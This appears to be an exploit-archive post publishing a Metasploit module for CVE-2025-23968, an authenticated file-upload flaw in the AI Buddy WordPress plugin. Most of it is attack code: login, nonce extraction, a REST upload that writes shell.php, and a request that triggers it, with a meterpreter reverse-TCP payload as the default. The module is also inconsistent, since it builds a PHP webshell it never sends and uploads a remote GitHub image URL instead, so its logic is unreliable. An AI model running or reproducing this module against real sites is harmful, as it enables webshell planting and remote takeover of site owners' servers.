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| # Title     : AI Buddy WordPress plugin 1.8.5 Universal RCE Exploit Module                                                                |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://ai.cibeles.net/                                                                                                     |
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POC : 

[+] References : https://packetstorm.news/files/id/210977/ & 	CVE-2025-23968

[+] Summary : 
          
          This module exploits an authenticated arbitrary file upload vulnerability in the
          AI Buddy WordPress plugin (<= 1.8.5). The vulnerability allows authenticated attackers
          to upload PHP webshells via the REST API attachment functionality
[+] POC :  

use exploit/multi/http/wp_ai_buddy_rce

set RHOSTS target.com

set USERNAME admin

set PASSWORD password123

exploit

##
# AI Buddy Authenticated RCE Module
# module for AI Buddy which requires authentication
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress AI Buddy Authenticated RCE',
        'Description' => %q{
          This module exploits an authenticated arbitrary file upload vulnerability in the
          AI Buddy WordPress plugin (<= 1.8.5). The vulnerability allows authenticated attackers
          to upload PHP webshells via the REST API attachment functionality.
        },
        'Author' => [
          'indoushka', # Metasploit module
          'Ryan Kozak' # Original discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-23968'],
          ['URL', 'https://wpcenter.io/'],
          ['WPVDB', '281518ff-7816-4007-b712-63aed7828b34']
        ],
        'Platform' => ['php'],
        'Arch' => [ARCH_PHP],
        'Targets' => [['Universal', {}]],
        'DisclosureDate' => '2025-11-27',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => false,
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'Privileged' => false,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
      OptString.new('USERNAME', [true, 'WordPress username']),
      OptString.new('PASSWORD', [true, 'WordPress password'])
    ])
  end

  def check
    return CheckCode::Unknown('Could not connect to target') unless wordpress_and_online?

    check_code = check_plugin_version_from_readme('ai-buddy', '1.8.6')
    
    if check_code.code == 'appears'
      return CheckCode::Appears("Vulnerable AI Buddy version detected: #{check_code.details[:version]}")
    end

    CheckCode::Safe('AI Buddy not detected or version not vulnerable')
  end

  def exploit
    # Login to WordPress
    print_status("Authenticating with WordPress...")
    
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    unless cookie
      fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress')
    end

    print_good("Successfully authenticated")

    # Extract AI Buddy nonce
    nonce = extract_ai_buddy_nonce(cookie)
    unless nonce
      fail_with(Failure::Unknown, 'Could not extract AI Buddy nonce')
    end

    print_good("Extracted nonce: #{nonce}")

    # Upload webshell via REST API
    upload_webshell(cookie, nonce)
  end

  def extract_ai_buddy_nonce(cookie)
    print_status("Extracting AI Buddy nonce...")
    
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'tools.php'),
      'method' => 'GET',
      'cookie' => cookie
    })

    unless res
      fail_with(Failure::Unreachable, 'Could not access tools.php')
    end

    # Extract nonce from JavaScript
    if res.body =~ /var ai_buddy_localized_data = ({.*?});/m
      json_data = JSON.parse($1)
      return json_data['ai_buddy_image_post_attachment']['nonce']
    end

    nil
  end

  def upload_webshell(cookie, nonce)
    print_status("Uploading webshell via AI Buddy REST API...")

    php_payload = payload.encoded
    
    # For AI Buddy, we use a different approach since it fetches from URLs
    # We'll create a simple PHP file that includes our payload
    webshell_content = "<?php #{php_payload} ?>"

    # Note: In practice, you'd need to host this file somewhere accessible
    # For the module, we'll use a placeholder approach
    payload_data = {
      'title' => 'Exploit',
      'caption' => 'Test',
      'alt' => 'Test', 
      'description' => 'Test',
      'url' => 'https://raw.githubusercontent.com/d0n601/d0n601/refs/heads/master/test.jpg',
      'filename' => 'shell.php'
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'ai-buddy', 'v1', 'wp', 'attachments'),
      'method' => 'POST',
      'cookie' => cookie,
      'headers' => {
        'X-Wp-Nonce' => nonce,
        'Content-Type' => 'application/json'
      },
      'data' => JSON.generate(payload_data)
    })

    unless res
      fail_with(Failure::Unreachable, 'No response from REST API')
    end

    if res.code == 200 && res.body.include?('success')
      print_good("Webshell uploaded successfully")
      
      # Trigger the payload
      current_year = Time.now.year
      current_month = Time.now.month.to_s.rjust(2, '0')
      shell_url = "/wp-content/uploads/#{current_year}/#{current_month}/shell.php"
      
      print_status("Triggering payload at #{shell_url}...")
      send_request_cgi({
        'uri' => normalize_uri(target_uri.path, shell_url),
        'method' => 'GET'
      }, 5)

    else
      print_error("Upload failed: #{res.body}")
    end
  end
end

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================